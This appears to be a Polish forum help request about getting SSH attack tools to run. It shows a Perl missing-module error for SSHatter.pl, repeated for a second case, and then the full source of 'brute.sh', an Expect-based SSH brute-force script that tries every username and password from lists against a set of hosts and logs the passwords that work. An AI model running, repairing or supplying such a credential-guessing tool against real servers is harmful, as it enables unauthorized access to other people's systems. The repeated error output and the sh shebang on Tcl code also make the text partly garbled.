¦ciągnąłem z sieci archiwum, które zawiera plik: SSHatter.pl oraz całkiem inny programik, ale o podobnych właściwościach. Jest to plik do testów testów serwera ssh.
W pierwszym przypadku wywołuję go poleceniem w terminalu:
debian:/home/xxx/Desktop/SSHatter-1.0/src# ./SSHatter.pl
Can't locate Net/SSH/Perl.pm in @INC (@INC contains: /etc/perl /usr/local/lib/perl/5.10.0 /usr/local/share/perl/5.10.0 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.10 /usr/share/perl/5.10 /usr/local/lib/site_perl .) at ./SSHatter.pl line 36.
BEGIN failed--compilation aborted at ./SSHatter.pl line 36.
Drugi przypadek również sypie błędami.
Posiadam również inny plik o nazwie ,,brute.sh'', wywołuję go poleceniem:
debian:/home/xxx/Desktop/SSHatter-1.0/src# ./SSHatter.pl
Can't locate Net/SSH/Perl.pm in @INC (@INC contains: /etc/perl /usr/local/lib/perl/5.10.0 /usr/local/share/perl/5.10.0 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.10 /usr/share/perl/5.10 /usr/local/lib/site_perl .) at ./SSHatter.pl line 36.
BEGIN failed--compilation aborted at ./SSHatter.pl line 36.
Proszę bardzo oto kod programu, zależy mi na działaniu tego pierwszego: (brute.sh), ten drugi jest na ponad 300 linijek, wiec sobie go na razie podaruję.
GNU nano 2.0.7 File: brute.sh
#!/bin/sh
#
# Written by James Shanahan (jshanahan@comcastpc.com)
# and Erin Palmer(epalmer@comcastpc.com)
# ssh brute forcer
# This will allow you to specify hosts, password lists, and a user
# I do not take any responsibility for what you do with this tool
# Hopefully it will make your life easier rather then making other
# peoples lives more difficult!
set timeout 5
set dictionary [lindex $argv 0]
set file [lindex $argv 1]
set user [lindex $argv 2]
if {[llength $argv] != 3} {
puts stderr "Usage: $argv0 <dictionary-file> <hosts-file> <user-file>\n"
exit }
set tryHost [open $file r]
set tryPass [open $dictionary r]
set tryUser [open $user r]
set passwords [read $tryPass]
set hosts [read $tryHost]
set login [read $tryUser]
foreach username $login
{
foreach passwd $passwords
{
foreach ip $hosts
{
spawn ssh $username@$ip
expect "-"
send "$passwd\n"
set logFile [open $ip.log a]
expect "L"
{
puts $logFile "password for $username@$ip is $passwd\n"
close $logFile
}
set id [exp_pid]
exec kill -INT $id
}
}
}